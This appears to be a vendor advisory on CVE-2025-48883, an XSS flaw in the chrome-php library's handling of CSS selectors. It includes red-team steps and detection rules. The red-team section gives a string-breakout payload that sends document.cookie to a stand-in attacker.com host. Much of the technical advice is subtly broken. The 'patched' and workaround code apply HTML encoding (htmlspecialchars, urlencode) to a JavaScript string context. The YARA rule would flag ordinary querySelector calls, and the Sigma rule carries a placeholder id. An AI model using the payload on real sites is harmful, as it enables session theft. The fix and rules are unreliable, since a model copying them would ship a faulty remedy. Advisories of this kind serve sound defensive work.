CVE-2025-48883

Executive Summary

CVE-2025-48883 is a Cross-Site Scripting (XSS) vulnerability in Chrome PHP, a library that enables headless Chrome/Chromium automation from PHP. The vulnerability arises from improper encoding of CSS Selector expressions, allowing an attacker to inject malicious scripts. This issue affects all versions prior to 1.14.0. The patch in v1.14.0 ensures proper encoding of CSS selectors. As a workaround, users can manually encode selectors if upgrading is not immediately possible.

Supply Chain & Package Security

This vulnerability affects the PHP package chrome-php/chrome. Users of this library should verify their dependency version and update to v1.14.0 or later. The package is distributed via Composer, and the vulnerability is fixed in the latest release.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data. However, based on the nature of the vulnerability (XSS), a typical CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – requires user to interact with a crafted selector
• Scope (S): Changed (C) – XSS can affect other resources
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. Exploitation requires user interaction, but the impact can include data theft or session hijacking.

Deep Dive & Mechanics

The vulnerability exists in the CSS selector parsing logic of Chrome PHP. When a user provides a CSS selector (e.g., div.class), the library constructs a JavaScript expression to evaluate in the browser. If the selector contains special characters or script payloads, they are not properly encoded before being passed to the browser's document.querySelector or similar API. This allows an attacker to inject arbitrary JavaScript code that executes in the context of the target page.

Root Cause: The library fails to sanitize or encode CSS selector strings before embedding them into JavaScript code. For example, a selector like div[onclick="alert(1)"] could be interpreted as an attribute selector, but if not encoded, it may break out of the string context and execute code.

Attack Vector: An attacker can craft a malicious CSS selector that, when processed by Chrome PHP, results in XSS. This could be delivered via user input that is passed to the library without validation.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.14.0):

// Example vulnerable code
$selector = $_GET['selector']; // User input
$js = "document.querySelector('$selector')";
$chrome->executeScript($js);

Patched Code (v1.14.0):

// Patched code with proper encoding
$selector = $_GET['selector'];
$encodedSelector = htmlspecialchars($selector, ENT_QUOTES, 'UTF-8');
$js = "document.querySelector('$encodedSelector')";
$chrome->executeScript($js);

The patch ensures that special characters in the selector are encoded, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Chrome PHP library version < 1.14.0
• A web application that passes user input to CSS selector functions

Exploit Steps:

1. Identify an endpoint that accepts a CSS selector parameter.
2. Craft a payload that breaks out of the string context, e.g., '); alert(1); //
3. Send the request: ?selector='); alert(document.cookie); //
4. The injected JavaScript executes in the browser context.

Example Payload:

'); fetch('https://attacker.com/steal?cookie='+document.cookie); //

Blue Team

Detection:

• Monitor for unusual CSS selector strings containing script-like characters (e.g., ', ", <, >).
• Review logs for requests with suspicious selector parameters.
• Ensure input validation is applied to all user-supplied selectors.

Mitigation:

• Upgrade to Chrome PHP v1.14.0 or later.
• Apply manual encoding using htmlspecialchars() or similar functions.
• Implement a Web Application Firewall (WAF) rule to block malicious selectors.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing CSS selectors with script payloads (e.g., ?selector=');alert(1)//)
• Logs: Application logs showing unusual selector strings or JavaScript execution errors.
• File: Modified Chrome PHP library files (if patched manually).

Detection Engineering

YARA Rule

rule CVE_2025_48883_XSS_ChromePHP {
    meta:
        description = "Detects potential XSS attempts via CSS selector injection in Chrome PHP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48883"
    strings:
        $selector = /querySelector\s*\(\s*['"][^'"]*['"]\s*\)/ nocase
        $payload = /['"][^'"]*['"]\s*\)\s*;/ nocase
    condition:
        $selector and #payload > 0
}

Sigma Rule

title: Chrome PHP CSS Selector XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-48883 via malicious CSS selectors
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - "?selector="
            - "&selector="
        c-uri|re: 
            - ".*['\"].*alert.*"
            - ".*['\"].*script.*"
    condition: selection
falsepositives:
    - Legitimate use of special characters in selectors
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48883 Chrome PHP CSS Selector XSS Attempt"; flow:to_server,established; content:"?selector="; nocase; pcre:"/['\"].*alert.*/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade to Chrome PHP v1.14.0 or later.
• If upgrade is not possible, manually encode all CSS selectors using htmlspecialchars() or urlencode().

Long-term:

• Implement input validation and output encoding for all user-supplied data.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly audit dependencies for known vulnerabilities.

Workaround:

$selector = $_GET['selector'];
$safeSelector = htmlspecialchars($selector, ENT_QUOTES, 'UTF-8');
$js = "document.querySelector('$safeSelector')";

Valters IT
Securing Digital Frontiers